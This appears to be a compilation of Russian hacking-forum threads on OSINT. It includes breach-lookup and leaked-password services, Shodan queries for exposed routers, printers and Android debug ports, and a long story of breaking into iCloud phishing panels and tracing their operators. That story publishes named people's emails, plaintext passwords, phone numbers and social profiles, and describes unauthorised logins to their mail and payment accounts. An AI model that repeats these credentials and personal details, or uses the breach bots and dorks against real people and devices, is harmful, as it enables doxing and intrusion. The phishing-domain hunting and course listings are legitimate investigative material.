Вот мой небольшой набор инстрементов/сайтов/ресурсов, которые я практически ежедневно использую в своей деятельности:

Конечно же, первое дело - это поисковые движки:
- Google
- Yandex
Другие практически никогда мне не давали больше информации, чем перечисленные два.

Spoiler: 1

Поиск по USERNAME/NICKNAME:
- https://namechk.com/

Поиск по EMAIL:
- https://haveibeenpwned.com/
- https://hacked-emails.com/
- https://ghostproject.fr/
- https://weleakinfo.com/
- https://pipl.com/
- https://leakedsource.ru/
- Приложение "Skype"

leakcheck.io
dehashed
snusbase

Поиск по номеру телефона:
- https://phonenumber.to
- https://pipl.com/
- Приложение "GetContact"
- Приложение "NumBuster"
- Приложение "Truecaller" или сайт https://www.truecaller.com/
- http://doska-org.ru/
- Приложение "Skype"

Общий поиск по соц. сетям, большой набор разных инструментов для поиска:
- http://osintframework.com/

Поиск местоположения базовой станции сотового оператора:
- http://unwiredlabs.com
- http://xinit.ru/bs/

Получение фотографий из соц. сетей из локального района (по геометкам):
- http://sanstv.ru/photomap

Поделитесь "своими" сервисами, которые Вам часто помогают пробивать информацию и докапываться до сути кейса)

About:

Payload.sh/db is a totally free hacked-database search-engine created for Security Analysts, Journalists, Security Companies, and everyday people to help secure accounts and provide insight on database breaches and account leaks. Protect yourself before it's too late, don't wait until you're hacked.

**Search through our 10,231,651,731 records to find out!

Info:** A friendly service/board is offering a fully free database search engine service.
According to them as long as the service is not abused it will stay public and free.
Respect it and do not search for dumb things what will cause 2 much server load.

Your options are(AutoDetect):

• Email
• Username
• Password

Is my email pwned?

If your email has been pwned, it means that the security of your account has been compromised.

There's a lot of sensitive information linked to your email address. You might have linked your credit card information or some other important personal information with the same login credentials on another account.

Preview:

Searcher Link:https://Payload.sh/db

Make sure to show your support to this service by leaving a comment on this thread and not letting it die out

Предлагаю в этой ветке публиковать интересные результаты выдачи поисковика Shodan (и не только).
Формат выдачи может быть различным - скриншоты веб-стрницы, копия командной строки клиента shodan, ссылка на сниппеты.

Для начала перечислю уже упоминавшиеся на ресурсе дорки:

• Мини-статья "Достаем материал в shodan" от пользователя oxygen - поиск расшаренных папок - https://snippets.shodan.io/c/jr36Ak7KKKygUIrm
• Статья "OSINT - разведка на основе открытых источников" от пользователя tabac - поиск медицинского оборудования - shodan search DICOM port:104
• Статья "ASUS Wireless Router 4G-N12 IP-Scanner" от пользователя nbzmr - доступ к административной панели роутера с возможностью отправки SMS - shodan search 4G-N12
• Статья "Принимаем sms USA и CA" (а также видео) от пользователя xranitel - доступ к роутеру с возможностью отправки SMS - shodan search DIR-456U
• Статья "Взломать 50.000 принтеров за 5 минут" от пользователя tabac - печать на принтерах, доступных из внешней сети - shodan search poer:9100 pjl
• Статья "Honeypot check" от пользователя xranitel - поиск honeypot - shodan honeyscore
• Комментарий к статье "any.run" - поиск песочниц Cuckoo Sandbox - shodan search server:machete server
• Статья "Эксплуатирование Android, работающих на ADB (Android Debug Bridge)" от пользователя lukas - поиск устройств Android c ADB - https://www.shodan.io/search?query=product:"Android+Debug+Bridge"
• Заметка "Утечки данных MongoDB. ч.2. Используем Lampyre" - поиск открытых БД MongoDB - https://snippets.shodan.io/c/JowoHs9CxRyrs2Ah

Из последнего, интересного, были проиндерсированы серверы Cobaltstrike Teamservers, найти можно по запросу - shodan download cobaltstriketeamservers ssl:87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c

Hidden content for authorized users.

Внимание! Несмотря на то, что для работы над этой статьей я потратил не один десяток часов, эта история еще не закончилась и именно ты, %username%, можешь в ней поучаствовать. Если у тебя чешутся руки - попробуй осилить этот текст. Обещаю, будет весело! Эта история пока не имеет конца, но у нее есть начало.
А начинается она с 2017 года, когда канал Информация опасносте выложил следующего содержания пост:

​

Думаю мне, как и многим, было любопытно, что это за фейк такой. Что за движок, как работает и насколько продвинуты фишеры (ну мало ли, может опять php скрипт на бесплатном/дешевом vps, как в 1732 году)?
Оказалось, что правда: разбросанные php скрипты, админка, шаблоны фейков.
Изучив данный хост, уязвимости привели меня к получению админки, а потом и к выполнению произвольного кода. Как следствие - я получил доступ к базе данных, логам и конечно же к исходникам.

Как оказалось, это дало толчок к исследованию нескольких десятков таких же ресурсов и породило рассказ, который ты сейчас читаешь.

Что происходит? У жертвы воруют телефон. Если Android, то чаще всего его сразу можно продать, как самостоятельный: вытащил симку, рутанул, и уже на авито. Но есть свои нюансы: типа пароль на вход, заблокирован загрузчик — но это совсем другая история.

А вот с айфонами уже намного сложнее, так как пароль на включение — это обязательное условие. А еще владелец может заблокировать устройство, оставив контактный номер. Мол, потерял, просьба вернуть за вознаграждение. Взять и прошить его не выйдет, поэтому либо на запчасти (стоимость айфона тогда теряется в несколько раз), либо страдать.

Однако, с развитием технологий защиты всегда развивается мошенничество, поэтому выход у воров был таков — отправить фишинг на контактный номер жертвы. А что? Удобно. Жертва свои контакты оставляет сама, тебе остается лишь представиться компанией «Яблоко» и заставить ввести пользователя данные от icloud.

​

Несмотря на то, что популярность такого фишинга выросла в 2017 году, один из первых скриншотов подобного сервиса был сделан еще в 2015 году.

Сначала слали на красивые домены вида lcloud.com (не путать с icloud), но когда поняли, что их закрывают, стали поступать проще. На красивых доменах располагают сервисы-редиректоры, которые делают короткую ссылку. Такие закрыть труднее — они же ничего противозаконного не размещали. Просто сервис коротких ссылок с именем мимикрирующим под apple или icloud.

Пройдя по ней, ты увидишь адаптивную форму аутентификации, которая грузится даже быстрее чем icloud.com, а может быть и сразу саму карту дабы разогреть твой интерес, с дальнейшим запросом аутентификации.

Вот только не говори, что именно ты такой умный, и не повелся бы на подобное. Когда ты теряешь дорогую вещь, а потом есть шанс того, что она нашлась – ты в состоянии шока можешь сотворить глупость. Но тут и как с доменом повезет: может быть глаз зацепится за подозрительное место, а может быть будет неотличим от оригинала, например, как делал [этот чувак](http://www.infosecisland.com/blogview/24918-When-Is-Applecom-Not- Applecom-Faked-Punycode-Domains-Running-Rampant.html) с помощью Punycode.

«Двухфакторная аутентификация», — скажешь ты. Ну да, только фишеры давно научились показывать и форму ввода двухфакторки (подумаешь, еще один php скрипт).

Что делают после того как получают доступ к icloud? В лучшем случае — отвязывают телефон. В худшем — блокируют все остальные устройства Apple (ибо ты также можешь где-то оставить ноутбук, поэтому эта фича присутствует). Только в этой ситуации вы меняетесь сторонами, на твоем любимом ноуте с огрызком появится надпись мошенника и контакты для разблокировки. А там уже как договоритесь

Кстати, у одного из сотрудников Kaspersky Lab именно таким способом “отжали” телефон. Статья-история, как это происходит от лица жертвы. Но если вы все-таки не повелись на фишинг — вас продолжат социалить через звонок. Но об этом позже.

SaaS для воров

Итак, что же это за гадость такая.

На самом деле существует множество систем, один запилил на движке Laravel, другие - это группа AppleKit, MagicApp, Phantom, Phoenix и iPanel Pro и более примитивные поделки. Все они обколются своей марихуаной и форкают друг-друга, соревнуясь у кого лучше логотип. А самое забавное, что наследуя чужой код, они наследуют чужие уязвимости и бэкдоры.

На всякий случай, заботясь о том, что найденные баги могут прочитать в статье и зафиксить, примеров я приводить не буду. Есть подозрения, что создатели как минимум панели Phoenix точно понимают по-русски))
Но как бонус — выложу исходный код. Исходники у авторов и так есть! А баги (и бэкдоры) ты и сам увидишь.

Как-то чуваки смекнули, что воры сами-то не шарят в IT, поэтому поднять фейк, разослать СМС — непосильная задача. А так как все дороги ведут к мастеру по телефонам (А кому еще продавать запчасти?), он может и своим клиентам помочь разблокировать мобилку или купив по-дешевке ворованный iPhone поднять его в цене, немного поработав над ним.

Зарабатывают на этом все. Аренда сервиса стоит $150-350 (в месяц), тебе дают инструкцию по установке, ты покупаешь домен, вбиваешь заказы, а остальное система сделает сама. Дальше по ~$100-150 ты продаешь эту “разблокировку”.

​

На западе большей популярностью пользуется iPanel, в странах СНГ — Phoenix.

Как это выглядит со стороны админа фишинга:

​

Админ может крутить настройки, например, отправку письма после успешной отвязки или оповещение в Telegram (куда же без него) и всякое такое по-мелочи.

​

Добавляя заказ, нужно указать какой телефон и IMEI. Также, он может написать заметку, от кого поступил заказ.

​

Часто можно увидеть что-то вроде Жэка Вазап или Коля Лысый, что несколько забавляет. Как ты понимаешь, физическое наличие телефона вовсе не нужно, поэтому услуга продвигается в интернете, а работать с этим можно удаленно.

​

Язык SMS система поставит сама.

Также можно выбрать тип дизайна фишинга, например, из таких вариантов:

​

Все достаточно адаптивно и хорошо смотрится и на телефонах, и на десктопе. Иногда количество и тип страничек различается, но не значительно.

​

Вход в админку у всех разный. Но это обманчивое ощущение, так как в большинстве своем это форки Phoenix или iPanel Pro, а интерфейс внутри одинаковый, разве что меняются логотипы и, иногда, цвета.

​

Бэкдоры

А я говорил, что они оставляют бэкдоры?

iPanel вообще забавный! Зацени.

​

У iPanel есть автоматическая установка. Так как система предназначена для установки на хостинги с контрольной панелью (типа cpanel), нужно указать логопас для нее. А при установке у тебя будет дефолтный пароль на СУБД - ipanel@789

​

Если отправить в качестве логина или пароля ссылку и слушать порт, то мы увидим, как к нам стучится:

Code:Copy to clipboard

23 Jan [14:35:48] from 149.154.161.4 HTTP: / [] (TelegramBot (like TwitterBot)) euConsent=true; BCPermissionLevel=PERSONAL; BC_GDPR=11111; fhCookieConsent=true; gdpr-source=GB; gdpr_consent=YES; beget=begetok

Это говорит о том, что логин и пароль улетел кому-то в телегам. Зато удобно!

Еще одним доказательством наличия бэкдоров могут послужить логи, которые оставляют за собой след из ошибок:

​

Давайте посмотрим, что там у нас. Функции ereg_replace и eval? Батенька, да у вас RCE!

А почему никто не видит? Код обфусцирован с помощью ioncube. А у панели есть проверка лицензии, не заплатил — сори чувак. Получается, хозяин панели раздает всем свой обфусцированный код, они стучат ему на сервер (ph-phoenix.com в случае феникса), а он может туда заламываться в любое время. Ну и наглость )

Но я не растерялся ☝ и частично раскукожил код (целых 10 баксов потратил).

Исходники были слиты, был сделан дамп базы данных. Но все это забылось на несколько лет.

Прошел год

​

Прошло два года

Второе пришествие началось, когда у моего друга — Киберпанка, произошла такая же история.

​

Все по классической схеме. Кража, блокировка, фишинг на домен (в этот раз был icloud.at), который редиректит на саму панель с доменом www.icloud.com.fmistatus.info. Позже тот хост погас и пришла СМС, которая ведет на apple-find.ru

​

Кибер созвал народ ломать фейк, подтянулись ребята из DC8800, которые в дальнейшем помогли распотрошить базу.

А так как уязвимости в этой панели мне уже были известны, фишинг был успешно взломан в короткие сроки. Администратором его был некий kolya2017zaza@gmail.com с паролем Zaza2015, что, кагбе, намекает, я Коля Заза, и “мой пароль не менялся с 2015 года”.
Но в интернете нет ни единого упоминания этого аккаунта:

Your search - "kolya2017zaza" - did not match any documents.

Взгрустнулось.

Изучаем базу дальше. Вспоминаем про настройки, в дампе БД это таблица options.

Находим там отправку уведомлений с адреса ivan89776593244@yandex.ru

Отлично, значит отправляются данные с сервера яндекса:

​

Я испугался, что двухфакторка. Но нет.
Догадываешься, что нужно ввести, чтобы попасть внутрь?

После успешного входа видим, что у нас есть оповещения от нескольких сервисов. Ух ты, а Ванька-то москвич! Интересно, коренной?

​

Видим одно отправленное письмо:

​

По общению понятно, что москвич не коренной. Но не суть.

Проверяем Zadarma (это сервис аренды виртуальных номеров) — заблокирован. Проверяем Skype — заблокирован.

Зачем эти сервисы?
Если фишинг не сработал, они звонят под видом сотрудника сервисного центра (а может и не под видом). Говорят, что какой-то подозрительный тип принес мобилку, скоро ее нужно будет отдать, пытаются заговорить зубы (переключите язык на английский) и все к тому, чтобы ты нажал на удаление телефона из функции пропажи.

Идем в Яндекс Деньги:

​

Видим: IP адрес во всех операциях принадлежит Megafon, покупки сервисов Zadarma, четырех доменов, два пополнения телефонов:

Code:Copy to clipboard

+7 977 6593244

+7 916 1168710

Яндекс деньги пополнялись через аккаунт в Qiwi. Используем телефон “Ивана” и известный пароль. Он подходит и тут. Ведь как известно, стабильность — признак мастерства.

​

Выясняем, что кошелек Qiwi пополнялся как с помощью номера +7 977 8667146 (еще один одноразовый номер), так и с помощью терминала. На самом деле там номеров больше, мне просто лень искать их в логе (а я его сохранил).

А сейчас я покажу небольшой трюк по OSINT в Qiwi. Каждый терминал имеет свой уникальный идентификатор. Если перейти в детали платежа и посмотреть json, то вместе с разными идентификаторами будет параметр account - это именно он!

​

Но что с ним делать, не бегать же по всей Москве в поисках номера терминала? У Qiwi есть приятная опция для таких случаев — карта терминалов.
Ходим по карте, смотрим на прилетающие идентификаторы и понимаем, что терминал стоит на рынке Царицыно.

​

А еще, зная номер терминала, дату и код операции, можно проверить платеж с помощью этих данных на страничке проверки чека.

“И что же случилось дальше?” - спросишь ты.
А я отвечу - ничего.
Куча левых телефонов, левые имена, и рынок в Царицыно.

Но чтобы не было скучно, я решил продолжать ломать фейки. А заодно и смотреть, все ли такие же аккуратные, как КоляВова, который пытался увести у друга аккаунт.

Я и бал фишеров. Волк

Несколько раз мне попадался email volkbaku@mail.ru на доменах findfindiphone.com и findphonefmi.com
Я, воспользовавшись методом дедукции, предположил, что этот человек вряд ли мексиканец или итальянец.

Пароли у него попадались Pass12340@ и Orxan1313@.

Логин гуглится на GSM форуме, больше интересного вроде нет.

​

А по почте можно посмотреть соцсеточку MailRu:

​

Clean icloud unlocking service, говорит он. А имени нет! Ну, храни свои секретики.
Смотрим его email в других соцсетях, например из утечки БД у vk.
И вот оно что! ID в вконтактике - id105140112, также находим facebook - necefliorxan. Instagram @orhkan13 указан на странице.

​

В пароле был логин из инстаграма, заметил?

Чувак из Арзейбайджана, живет в Москве. Master in programmer, говорит в facebook.

В общем, успешный успех.

Я и бал фишеров. Passwordman

В другом случае попался домен [icloud.com-maps-id.com](http://icloud.com-maps- id.com/), админский аккаунт - find48store@yandex.ru

Поиск по почте не дал ничего интересного.

​

А вот пароль… Пароль у админа панели - vasif548! Вглядись в пароль - совсем другое дело.
Люди забывают, что фингерпринтом пользователя может быть не только какой-то идентификатор типа логина или электронной почты. Им может быть и пароль!
У тебя может быть множество логинов, но если ты используешь один пароль — тебя можно легко раскусить. А если ты используешь пароль из собственного логина — ну извините. Мог бы хотя бы скопировать логин в качестве пароля два раза, как это делаю я!

Этот чувак зарегался на большем количестве форумов.

​

Но вот незадача - больше данных я не вижу. Но ты заметил, что этот фишер и волк-из-Баку сидели на одном форуме? Пробуем логопас волка и…

​

Последняя активность в 2016, наверняка у него есть vk. На всякий случай изучил друзей Волка, но ничего.

Думаю, а не замутить ли социалочку? Напишу, мол, дай свой актуальный контакт. Вдруг вообще один посоветовал форум другому?

Составляем письмо:

​

Нет, что-то не так. Редактируем письмо следующим образом и засылаем:

​

Ждем.

Проходит неделя, а ответа все нет. И тут я понял, что допустил досадную ошибку. Я вновь стал изучать профили vasif548 и наткнулся на то, что на сайте 4pda у него был указан vk!

​

Готовимся лицезреть, открываем ссылку https://vk.com/id277815372

​

Но все что попало в интернет - остается в интернете. Страница с таким id была некого Васифа Бахышова, о чем говорит сервис vkfaces (https://vkfaces.com/vk/user/id402895773)

Смотрим на указанную дату рождения, ищем в других соцсетях. Находим одного Васифа. В фотографиях видим объявления о разблокировках телефона.


Бум! Савеловский рынок, Павильон 45

​

Еще через полгода

Шло время, количество фейков не уменьшалось, кого-то было трудно найти, кто-то регистрировался на свою почту.
Нвызов ошибки или получение доступа к логам ошибки, так как часто администратор панели указывал свой ник на хостинге, который ставился в путь к веб-приложению.

Другие, после того, как устанавливали панель явно тестировали ее работоспособность на себе. Руки не дошли еще проверить все дампы баз и посмотреть. Но когда я к этому вернусь - выложу свои догадки.

​

Почему я выкладываю только данные администраторов? Потому что от баз жертв нет никакого смысла, им и так досталось, а тут еще их данные попадут в сеть.

Прошло где-то полгода после того, как был упущен злодей, с которым столкнулся мой друг.

Напомню, что “КоляВаня” был на домене

www.icloud.com.fmips.ru

И в этот момент мне попался на глаза следующий домен

www.icloud.com.fmistatus.info

У первого был IP адрес:
93.170.123.118

У нового IP адрес:
93.170.123.102

Используем дедукцию, и понимаем, что это скорее всего один хостинг. Ну, я сначала не посчитал это подозрительным, бывает, что чисто случайно несколько человек используют мелкого и никому неизвестного хостера, датацентр — имя которого MAROSNET. А еще точнее — непубличного, который игнорирует жалобы.

Email админа странный - soz112233soz@gmail.com

Но больше всего смутил пароль - Qaqa2015.
Похож на предыдущий - Zaza2015?
Вот и я так подумал.

Чекаем почту - подходит!

​

Отлично. Изучаем почтовик.
Два отправителя писем - ExpressVPN и TXTDAT.

Смотрим VPN:

​

Забавно, он потерял свой доступ к VPN. С кем не бывает?

Вспоминаем, что Google хранит историю поиска и местоположения.
Перемещения отсутствуют, а вот поиск сохранился:

​

Хорошо, видим что он посещал:

• iunlocker.net
• sms-api.online

На тот момент использовал VPN?

Смотрим ниже:

​

Ах ты маленький шалунишка! Забыл перелогиниться? Смотрим подробности, google говорит, что он из Москвы. Лексика похожа на предыдущего админа, которого мы упустили полгода назад. Пока все совпадает.

​

Смотрим в письмо TXTDAT, видим, что указанный логин: Lostoff.

Еще под этим именем можно найти сервис взлома почт, разблокировку айфонов, возможно из-за того, что это достаточно популярный логин.

Восстанавливаем пароль, проходим в TXTDAT.

Немного о нем: это сервис отправки СМС с подменой отправителя. Я попытался на нем зарегистрироваться, но нужно ждать подтверждение администратора. В интернете о нем особо никто не говорит. Видимо, это закрытый сервис “только для своих”.

​

Офигеваем, что всего один человек в пике может рассылать более сотни смс в день. Заходим в настройки аккаунта, видим номер.

​

Эх, очередной номер - однодневка. Или нет…
Добавляю в контакты в telegram:

​

Lostoff! Не соврал.

Доначу в telegram-бота @get_kontakt_bot и пробиваю номер там.

​

Зейнал Мамедов! Известный как “программист Зейнал”, “Зейнал баба” и “Зейнал Царицино К163”

Находим по этому номеру объявления:

​

Смотрим локацию:

​

Царицыно , что совпадает с первыми зацепками.
Вконтакте я нашел одного Зейнала Мамедова, который состоит в группе Царицыно и Продать/купить айфон. Но нет никаких других связей, а номер телефона явно привязан к другому лицу.
Так давайте же найдем его?

С чего начать?

Как искать фейки?
К сожалению и домены не живут долго, но всегда появляются новые.

Я использовал несколько подходов.

Первый , и самый банальный, это мониторинг соцсетей.

Вводим в соцсеточках разные вариации поисковых запросов вида “украли iphone смс”, получаем выдачу из пострадавших. Как с грустными историями, что у них помимо телефона вывели деньги из банка, так и с просто недовольствами.

​

Но нам важны ссылки, поэтому списываем их с скриншотов. Если не стесняетесь, можно написать жертвам и лично попросить ссылку.

​

Способ два. Если домен попал в поле зрения различных роботов, попытаться найти их.

На помощь приходят несколько сервисов:

1. google.com

Офигенный сайт, сам постоянно пользуюсь. Достаточно написать intitle:"iCloud cannot find that page", чтобы ловить те фейки, у которых на главной странице 404 ошибка icloud.
Можно уточнить поиск по определенному сайту, например site:cutestat.com.

​

1. censys.io / shodan.io / publicwww.com

Они позволяют найти хосты, на которых крутились такие же сайты. Используем Title страницы, как и в предыдущем варианте.

​

1. urlscan.io

Очень крутой сайт. Он позволяет искать, например, похожие ссылки. Это сразу дает множество свежих доменов на движке Phoenix.
Панель iPanel Pro редиректит с главной страницы на оригинальный icloud.com, поэтому можно отследить редиректы.

Третий способ - мониторинг в реальном времени.
Есть классный скрипт от x0rz - phishing_catcher, он позволяет наблюдать за выпущенными сертификатами. Но так как нам интересен только icloud, смотрим на домены. Выбираем ключевые слова и доменные зоны.

Я оставил только такие ключевые слова:

Code:Copy to clipboard

# Apple iCloud

    'appleid': 70
    'icloud': 60
    'iforgot': 60
    'itunes': 50
    'apple': 40
    'iphone': 30
    'findmy': 30
    'findme': 30
    'location': 30
    'applecare': 30
    'fmf': 20
    'fmi': 20

Запустив скрипт, ставим на мониторинг, а потом смотрим выдачу. Что это популярный рынок можно судить о том, что в день регистрируют около 10 доменов.

​

Четвертый , и последний способ на сегодня, это поиск уже не по сертификатам, а по зарегистрированным доменам. В этом нам поможет dnspedia.
Я думаю, ты догадаешься как искать домены более чем за 7 дней.

​

Не конец
Подытожим.

• Если мошенник доверяет мошеннику, один пользуется другим. Наличие лазеек в зашифрованных файлах, отправка паролей автору панели, централизация всех фейков (каждый фейк сообщает где он находится) - говорит о многом.
• Фишеры могут использовать личные email адреса для своих грязных делишек.
• Фишеры могут спалиться на том, что используют свои ники в качестве паролей
• Даже если ты вложил много сил и времени в анонимность — покупая симки, регистрируя одноразовые email’ы, используя VPN, закидывая деньги через цепочку платежных систем и левых телефонов - всегда есть вероятность, что ты ошибешься.

Как говорил какой-то умный чувак, стоит человеку, который защищается, один раз ошибиться - его взломают. Но стоит взломщику ошибиться один раз - его найдут.

На этом мои полномочия - все. Я буду обновлять и дополнять материал, еще есть что можно рассказать.

Прикрепляю домены и администраторов. Исходники тут. Просьба комментировать с тегом HIDE, а я чуть позже соберу все самое интересное

В первом сообщении темы собраны курсы/вебинары/конференции по OSINT и конкурентной разведке, с краткой информацией. Для удобства курсы рассортированы по учебным центрам.
В спойлере "Другое" будут публиковаться различные одиночные курсы.

Если вы нашли интересный курс - пишите, и я добавлю его в общий список.
Если хотите оставить отзыв о курсе - пишите, я буду благодарен.

Spoiler: Учебный центр "Информзащита"

№ п/п| Название курса| Краткая информация| Ссылка
---|---|---|---
1​| Управление конкурентной разведкой (ЭБ19)| Форма обучения: -
Продолжительность: 2 дня
Стоимость: 18 200 руб.
Вендор: УЦ "Информзащита"
Преподаватель: -|

Учебный центр «Информзащита»

Специализированный центр обучения по информационной, экономической и кадровой безопасности. Очное и дистанционное обучение. Практические курсы. Опытные преподаватели-практики. itsecurity.ru
2​| Управление конкурентной разведкой (ЭБ19-В)| Форма обучения: видеокурс
Продолжительность: 2 дня
Стоимость: 18 200 руб.
Вендор: УЦ "Информзащита"
Преподаватель: -|

Учебный центр «Информзащита»

Специализированный центр обучения по информационной, экономической и кадровой безопасности. Очное и дистанционное обучение. Практические курсы. Опытные преподаватели-практики. itsecurity.ru
3​| Управление конкурентной разведкой (для физ.лиц) (ЭБ19-Ф)| Форма обучения: видеокурс
Продолжительность: 2 дня
Стоимость: 6 400 руб.
Вендор: УЦ "Информзащита"
Преподаватель: -|

Учебный центр «Информзащита»

Специализированный центр обучения по информационной, экономической и кадровой безопасности. Очное и дистанционное обучение. Практические курсы. Опытные преподаватели-практики. itsecurity.ru
4​| Система противодействия незаконным методам конкурентной разведки (ЭБ06)| Форма обучения: -
Продолжительность: 3 дня
Стоимость: 27 800 руб.
Вендор: УЦ "Информзащита".
Преподаватель: -|

[ Бизнес разведка- курсы и семинары по конкурентной разведке

](https://itsecurity.ru/catalog/kurs-konkurentnaya-razvedka/)

Бизнес разведка- курсы и семинары по противодействию незаконным методам конкурентной разведки itsecurity.ru

Spoiler: Академия информационных систем

№ п/п| Название курса| Краткая информация| Ссылка
---|---|---|---
1​| Поисковые системы и конкурентная разведка в Интернете| Форма обучения: Очно/Дистанционно
Продолжительность: 2 дня
Стоимость: 23 500 руб.
Вендор: АИС
Преподаватель: Масалович Андрей Игоревич|

[ Поисковые системы и конкурентная разведка в Интернете в Академия

Информационных Систем ](https://infosystems.ru/courses/razvedka/poiskovye- sistemy-i-konkurentnaya-razvedka-v-internete/)

Академия Информационных Систем собраны учебные курсы, где не последняя роль отведена Поисковые системы и конкурентная разведка в Интернете infosystems.ru
2​| Управление методами конкурентной разведки в Интернете| Форма обучения: Очно/Дистанционно
Продолжительность: 7 дней
Стоимость: 62 500 руб.
Вендор: АИС
Преподаватель: Масалович Андрей Игоревич|

[ Управление методами конкурентной разведки в Интернете в Академия

Информационных Систем ](https://infosystems.ru/courses/razvedka/upravlenie_metodami_konkurentnoy_razvedki_v_internete/)

Академия Информационных Систем собраны учебные курсы, где не последняя роль отведена Управление методами конкурентной разведки в Интернете infosystems.ru
3​| Методы киберразведки. Новый арсенал OSINT в цифровом мире. Базовый курс| Форма обучения: Очно/Дистанционно
Продолжительность: 2 дня
Стоимость: 25 000 руб.
Вендор: АИС
Преподаватель: Масалович Андрей Игоревич|

[ Методы киберразведки. Новый арсенал OSINT в цифровом мире. Базовый курс

в Академия Информационных Систем ](https://infosystems.ru/courses/razvedka/metody_kiberrazvedki_novyy_arsenal_osint_v_tsifrovom_mire_bazovyy_kurs/)

Академия Информационных Систем собраны учебные курсы, где не последняя роль отведена Методы киберразведки. Новый арсенал OSINT в цифровом мире. Базовый курс infosystems.ru
4​| Комплексная программа "Методы киберразведки. Новый арсенал OSINT в цифровом мире "| Форма обучения: Очно/Дистанционно
Продолжительность: 4 дня
Стоимость: 45 000 руб.
Вендор: АИС
Преподаватель: Масалович Андрей Игоревич|

[ Комплексная программа "Методы киберразведки. Новый арсенал OSINT в

цифровом мире " в Академия Информационных Систем ](https://infosystems.ru/courses/razvedka/kompleksnaya_programma_metody_kiberrazvedki_novyy_arsenal_osint_v_tsifrovom_mire_/)

Академия Информационных Систем собраны учебные курсы, где не последняя роль отведена Комплексная программа "Методы киберразведки. Новый арсенал OSINT в цифровом мире " infosystems.ru
5​| Конкурентная разведка для обеспечения экономической безопасности на предприятии и защита от утечек конфиденциальной информации| Форма обучения: Очно/Дистанционно
Продолжительность: 3 часа
Стоимость: БЕСПЛАТНО
Вендор: АИС
Преподаватель: Масалович Андрей Игоревич|

[ Конкурентная разведка для обеспечения экономической безопасности на

предприятии и защита от утечек конфиденциальной информации в Академия Информационных Систем ](https://infosystems.ru/courses/razvedka/konkurentnaya_razvedka_dlya_obespecheniya_ekonomicheskoy_bezopasnosti_na_predpriyatii_i_zashchita_ot/)

Академия Информационных Систем собраны учебные курсы, где не последняя роль отведена Конкурентная разведка для обеспечения экономической безопасности на предприятии и защита от утечек конфиденциальной информации infosystems.ru

Spoiler: Другое

№ п/п| Название курса| Краткая информация| Ссылка
---|---|---|---
1​| Магистерская программа «Аналитик деловой разведки» (RUS/ENG)| Форма обучения: Очная
Продолжительность: 2 года
Стоимость: 390 000 руб. в год
Вендор: ВШЭ (Институт проблем безопасности)
Преподаватель: -|

[ Магистерская программа «Аналитик деловой разведки»

](https://www.hse.ru/ma/intelligence/admission/)

Программа подготовит специалистов в области информационно-аналитического обеспечения комплексной безопасности бизнеса. Акцент сделан на изучении функции деловой разведки как неотъемлемой составной части менеджмента организации www.hse.ru
2​| Конкурентная разведка. Оценка надежности контрагентов и безопасности коммерческих предложений| Форма обучения: Очно/Онлайн/Видеокурс
Продолжительность: 2 дня
Стоимость: 23 500 руб. (очно), 8 175 руб. (Онлайн, видеокурс)
Вендор: Русская школа управления
Преподаватель: Барбашев С.А.|

[ Курс по конкурентной разведке в Москве — семинар по конкурентной

разведке, оценка надежности контрагентов и безопасности коммерческих предложений ](https://uprav.ru/bezopasnost/konkurentnaya-razvedka/)

На курсе обучения для специалистов по безопасности, Вы узнаете как найти нужных специалистов для создания службы конкурентной разведки и определять надёжность компаний с помощью растровых признаков опасности. uprav.ru
3​| Конкурентная разведка: маркетинг рисков и возможностей| Форма обучения: Онлайн
Продолжительность: 10 занятий по 4 часа
Стоимость: 50 000 руб.
Вендор: -
Преподаватель: Ющук Евгений Леонидович|

[ ОНЛАЙН-КУРС "Конкурентная разведка: маркетинг рисков и возможностей"

](http://www.9sb.ru/)

Авторский курс Евгения Леонидовича Ющука www.9sb.ru
4​| Конкурентная разведка. Анализ надежности контрагентов и безопасности коммерческих предложений| Форма обучения: Онлайн
Продолжительность: -
Стоимость: 21 900 руб.
Вендор: Moscow Business School
Преподаватель: Панкратов В.В., Баяндин Н.И.|

Повышение квалификации. Конкурентная разведка. Анализ надежности контрагентов и безопасности коммерческих предложений. Семинар в Москве | Семинары Moscow Business School

mbschool.ru

Чем заменить платные курсы?

Spoiler: Тык

1. Книги:
- "Конкурентная разведка" в 2-х частях, Ющук Е.Л., Мальцев А.А. Скачать: [тык1](http://www.ci-razvedka.ru/Docs/Uchebnik-Konkurentnaya-Razvedka-UrGEU- Part1.pdf), [тык2](http://ci-razvedka.ru/Docs/Uchebnik-Konkurentnaya-Razvedka- Part-2.pdf).
- "Конкурентная разведка: маркетинг рисков и возможностей", 3-е издание, 2019 г. В эл.варианте не найдена. Книгу продают только ИП и ЮЛ, ссылка на страницу покупки: [тык](http://www.razvedka-internet.ru/kupit-knigu-konkurentnaya- razvedka-marketing-riskov-i-vozmozhnostej-trete-izdanie-dopolnennoe-i- pererabotannoe-evgenij-yushhuk-pri-uchastii-avtorov-n-a-pelevina-k-v-sergeev- v-yu-yushhuk.html).

2. Бесплатные вебинары, конференции, Youtube, Twitter, форумы, торренты.
Искать по ключевым словам: OSINT, Competitive Intelligence, конкурентная разведка.

3. Личный совет. Возьмите https://osintframework.com/, переведите на русский и адаптируйте под рунет: вместо Facebook - Вконтакте, вместо Yahoo - Mail.ru, и т.д. и т.п. Потренируетесь и наберете свою базу источников.

4. Еще личный совет. Тренируйтесь. Начните с легкого - найдите всю информацию в Интернете про себя. Потом на очень близкого человека. Потом на знакомого. Потом на совершенно чужого. Такой треннинг помогает довести действия до автоматизма, плюс поймете, что можно и нужно автоматизировать.

P.S. Я придерживаюсь такого мнения, что если за обучение платит работодатель - можно и нужно идти учиться. Даже если в описании курса мало полезного для вас. Личное общение с преподавателем или коллегами никто не отменял. Лично мне пришлось осваивать OSINT в ускоренном режиме, без курсов. И после 6 месяцев самостоятельного изучения темы пришлось скучать на платном курсе, ничего нового там не сказали.

OSINT на платформе Telegram
Предлагаю тут собирать полезные telegram боты, используемые для OSINT. удобные в процессе сбора информации

@egrul_bot
Данный бот пробивает Конторы/ИП. По вводу ФИО/Фирмы предоставляет ИНН объекта; учредителей бизнеса/партнеров и отчет налоговую декларацию. И наоборот: поиск по ИНН выдаст ФИО/конторы. БД сами понимаете откуда.
Ограничений бота – нет.

@mailsearchbot
По запросу пробива e-mail бот выдает открытый «password» от ящика. Очень огромная/крутая БД (висит давно, 1,5млрд учёток, год актуальности ~<2014г.). Удобно составлять/вычислять персональные чарсеты с помощью, например, JTR. Функционал бесплатный.

@getfb_bot
